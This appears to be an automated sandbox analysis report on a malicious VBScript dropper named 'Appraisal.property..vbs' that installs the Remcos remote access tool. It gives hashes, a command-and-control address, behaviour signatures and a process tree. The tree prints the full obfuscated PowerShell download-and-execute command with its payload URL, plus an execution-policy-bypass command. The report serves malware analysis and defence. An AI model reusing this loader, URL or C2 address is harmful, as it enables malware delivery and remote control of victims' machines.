Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    29-04-2021 11:05

General

  • Target

    Appraisal.property..vbs

  • Size

    704B

  • MD5

    7058bdc13d0094b435eaa07b09e76297

  • SHA1

    f9084f4c4f1756fd531007a8fd7a344207a4cd13

  • SHA256

    a465bb35f4e7bafb2fea17156c39daee286e49c3f10463ecb8d29766e2d0b200

  • SHA512

    1b0bfd576cfae09c9d997ea8a93fa07e9b353cd68076d6665d21a6b46940126593d3eeb78331375a64a94e0b332581e1a4207e9217b5bf142c1798ddf7a12ed7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://ia601403.us.archive.org/35/items/all_20210429/ALL.TXT

Extracted

Family

remcos

C2

185.19.85.168:1723

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Appraisal.property..vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://ia601403.us.archive.org/35/items/all_20210429/ALL.TXT';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3928
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          #cmd
          4⤵
          • Suspicious use of SetWindowsHookEx
          PID:3960

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Public\ Microsoft.ps1
    MD5

    8f6332bbb2ac7fd6aca48c0a7c389e99

    SHA1

    f0158d25c9e29ef3769f4c5f6b23e08d836628b0

    SHA256

    ad6b1343724f61fc76f17b844d53df5b5599b1b93c3709d7a2061c52ea46c9f2

    SHA512

    5cc1a3c86976b0f4e88ca568f60f22241225b6a31a6f48f26a76bd84e9723541537c13f745745becca24f47f7a8e354dda948d30f521df5c842e56443fced8eb

  • memory/3928-143-0x000002748AFA3000-0x000002748AFA5000-memory.dmp
    Filesize

    8KB

  • memory/3928-185-0x000002748AFA6000-0x000002748AFA8000-memory.dmp
    Filesize

    8KB

  • memory/3928-184-0x00000274A4F10000-0x00000274A4F11000-memory.dmp
    Filesize

    4KB

  • memory/3928-177-0x00000274A4EF0000-0x00000274A4F0F000-memory.dmp
    Filesize

    124KB

  • memory/3928-160-0x00000274A4F20000-0x00000274A4F21000-memory.dmp
    Filesize

    4KB

  • memory/3928-135-0x0000000000000000-mapping.dmp
  • memory/3928-142-0x000002748AFA0000-0x000002748AFA2000-memory.dmp
    Filesize

    8KB

  • memory/3960-182-0x0000000000400000-0x0000000000478000-memory.dmp
    Filesize

    480KB

  • memory/3960-183-0x000000000042EEEF-mapping.dmp
  • memory/3960-186-0x0000000000400000-0x0000000000478000-memory.dmp
    Filesize

    480KB

  • memory/4052-130-0x000001F06F6A6000-0x000001F06F6A8000-memory.dmp
    Filesize

    8KB

  • memory/4052-129-0x000001F06F6A3000-0x000001F06F6A5000-memory.dmp
    Filesize

    8KB

  • memory/4052-128-0x000001F06F6A0000-0x000001F06F6A2000-memory.dmp
    Filesize

    8KB

  • memory/4052-114-0x0000000000000000-mapping.dmp
  • memory/4052-123-0x000001F06F5C0000-0x000001F06F5C1000-memory.dmp
    Filesize

    4KB

  • memory/4052-119-0x000001F06F0A0000-0x000001F06F0A1000-memory.dmp
    Filesize

    4KB